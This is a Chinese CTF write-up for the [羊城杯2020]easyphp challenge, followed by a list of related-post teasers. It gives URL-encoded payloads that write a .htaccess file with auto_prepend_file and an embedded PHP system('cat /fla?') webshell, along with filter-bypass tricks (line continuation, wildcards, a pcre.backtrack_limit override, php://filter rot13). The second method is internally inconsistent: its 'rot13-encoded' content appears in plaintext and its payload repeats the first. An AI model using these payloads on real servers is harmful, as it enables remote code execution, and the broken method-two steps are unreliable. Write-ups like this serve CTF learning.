知识点:

1. .htaccess的利用

.htaccess利用方式
.htaccess相关问题

2.php://filter的利用

关于php://filter在file_put_contents中的利用_bfengj的博客-CSDN博客

解题:

核心代码:

file_put_contents($filename, $content . "\nHello, world"); 

filename只能由点和字母组成,content不能有flag和file。

乍一看挺简单的filename传a.php,content传<?php eval($_GET[1])?>再用蚁剑访问就行了。

但事实是想多了,确实能够将木马写入a.php,也可以访问a.php,但是a.php不能被解析直接将代码输出了。应该是服务端进行了配置,只对index.php进行解析,其他php文件不调用php引擎解析。

既然只有index.php才能被解析,就考虑如何将写入的恶意代码在index.php中执行。
.htaccess文件刚好可以实现这一点,我们可以在.htaccess中设置预包含,在index.php执行前将。htaccess包含,而在上传的htaccess文件中我们通过注释的方式将一句话木马写入,由于htaccess注释是用#和php不同,因此被包含进index.php后一句话木马就会被执行。

姿势一:

content传入的.htaccess内容

php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\

1.通过第一个\绕过对file的过滤,htaccess中\作为连接符将上下两行连接为一行。即

php_value auto_prepend_fil\
e .htaccess
等于
php_value auto_prepend_file .htaccess

2.通过php_value auto_prepend_file .htaccess设置所有php文件运行前都包含.htaccess文件。

3.由于flag被过滤通过通配符?绕过。

4.由于代码在content后面接了"\nHello, world",这样会在htaccess文件第4行多出一句Hello,world。这会使程序崩溃报500错误。因此在传入的content第3行末尾加一个\,将Hello,world连接到第3行,把它也当做注释,这样就不会报错了。

payload:

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

访问完payload后再次访问index.php即可得到flag。

姿势二:

还可以使用php://filter协议将加密后的content解密写入.htaccess。

由于filename会经过一个正则匹配,无法使用php://filter,这里我们先上传一个.htaccess文件将正则匹配次数设为0,这样匹配结果就会返回false从而绕过匹配。htaccess内容:

php_value pcre.backtrack_limit 0
php_value prec.jit 0
#\

注意:当php版本>=7时要设置php_value prec.jit 0

上传完这个htaccess后就可以在下一次访问使用filter协议了。继续上传第二个htaccess:

php_value auto_prepend_file .htaccess
#a<?php system('cat /fla?'); ?>\rot13加密后:php_value auto_prepend_file .htaccess
#a<?php system('cat /fla?'); ?>\

我们在content传入rot13加密后的内容来绕过过滤,再在filename上使用filter的rot13过滤器将密文解密后在写入。

payload:

第一次传入:
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess第二次传入:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

再次访问index.php即可得到flag。

总结:

这里说一下为什么要方法二中为什么用rot13过滤器二不用base64,我开始也是先用的base64,发现成功不了,后来在本地测试发现由于后面拼接的"\nhello,world"不是base64编码,在经过fileter的base64解密后就会出现一些奇怪的字符,这就导致无法传入的数据无法写入htaccess。而rot13是简单的字母替换,即对26个字母替换为右移13位的字母,这样就不会产生乱字符。

[羊城杯2020]easyphp相关推荐

  1. [羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过

    目录: 一. 自己做: 二.学到的.不足: 三. 1. 利用.htaccess来设置文件自动包含 2. 绕过 \n 的过滤 3. 绕过stristr的过滤. 4. 绕过preg_match 2.思路二 ...

  2. [羊城杯 2020]GMC

    [羊城杯 2020]GMC 题目 from Crypto.Util.number import getPrime,bytes_to_long,getRandomNBitInteger from sec ...

  3. [羊城杯 2020]Power

    [羊城杯 2020]Power 题目 from Crypto.Util.number import * import gmpy2 from secret import flagp = getPrime ...

  4. [羊城杯 2020]RRRRRRRSA

    [羊城杯 2020]RRRRRRRSA 题目 import hashlib import sympy from Crypto.Util.number import *flag = 'GWHT{**** ...

  5. [羊城杯 2020]Bytecode [UTCTF2020]babymips

    文章目录 [羊城杯 2020]Bytecode 查看题目 python代码 注意点: BINARY_SUBTRACT 这个是减法 BINARY_SUBSCR 这个是索引 Z3约束脚本 注意点: 注意最 ...

  6. [羊城杯 2020]login [SUCTF2019]hardcpp

    文章目录 [羊城杯 2020]login 思路:一个py编译的exe,需要解包,然后反编译成py文件 1.解包:python pyinstxtractor.py login.exe 提示:pyinst ...

  7. [羊城杯 2020]逃离东南亚

    [羊城杯 2020]逃离东南亚 考点 复现过程 参考链接 考点 1.图片高度隐写 2.silenteye 3.空格与tab隐写 4.需要编程找到隐写内容并进行解码 复现过程 解压压缩包有三个压缩包文件 ...

  8. [羊城杯 2020] Web

    easycon 打开就是 扫出来个index.php 然后访问 提示eval post cmd,看来是post了个cmd可以执行命令 找到bbbbbbbbb.txt文件,用base64解码得到包含fl ...

  9. buuctf————[羊城杯 2020]login

    1.查壳. 无壳,64位.(当时还不知到PyInstaller ) 2.直接丢到IDA反编译.发现啥也没有. (连个提示性的字符串也没有,但运行是有input something.很迷.) 看了看大佬 ...

最新文章

  1. 最近做了一个小小的系统,收获挺大的....我想总结一下
  2. AI类人工智能产品经理的丛林法则
  3. 【PAT乙级】1051 复数乘法 (15 分)
  4. 想要成为Linux大神,你应该和我一样这样做!
  5. Python中的Numpy(4.矩阵操作(算数运算,矩阵积,广播机制))
  6. Always keep in mind
  7. 车祸是怎么发生的 不论你是否开车都该看看!
  8. LeetCode 321. 拼接最大数(单调栈)*
  9. 如何听节拍器_如何用节拍器卡节拍?节拍器的使用方法!
  10. iOS中如何添加自定义的字体库
  11. [转载] 跟着吴恩达学机器学习(Machine Learning) on Coursera 第一天
  12. 从浏览器启动客户端程序的方法
  13. r语言和python的区别-Python与R语言的简要对比
  14. SVLsimulator与apollo6.0联合仿真
  15. 开源网络准入软件packetfence 部署心得-1
  16. php修改头像怎么做,PHP - 点击更换头像
  17. 应用及实例,在信用卡业务中的数据挖掘技术分析
  18. 【2022最新】手把手教你拥有自己的服务器与网站(无需备案)
  19. 1256:献给阿尔吉侬的花束
  20. 0基础学RS(十一)VLAN知识点,VLAN的类型,VLAN中继(trunk),本征VLAN

热门文章

  1. 如何使用Xcode进行高保真原型设计?
  2. 北京内推 | 华为诺亚方舟实验室招聘自动驾驶预测/规控/仿真算法研究员
  3. 卷积神经网络原理及其C++/Opencv实现(6)—前向传播代码实现
  4. u盘文件删除不掉,用360粉碎生成随机数文件删除不掉
  5. 成都大学c语言项目综合,成都大学C语言教案设计
  6. 荒野行动服务器维护什么时候好,荒野行动12月21日服务器维护到几点 12月21日具体开服时间公告...
  7. PyTorch 03—逻辑回归与多层感知器
  8. 2019华为软件精英挑战赛赛后总结
  9. android内容复制到剪贴板
  10. [源码解析] PyTorch 流水线并行实现 (6)--并行计算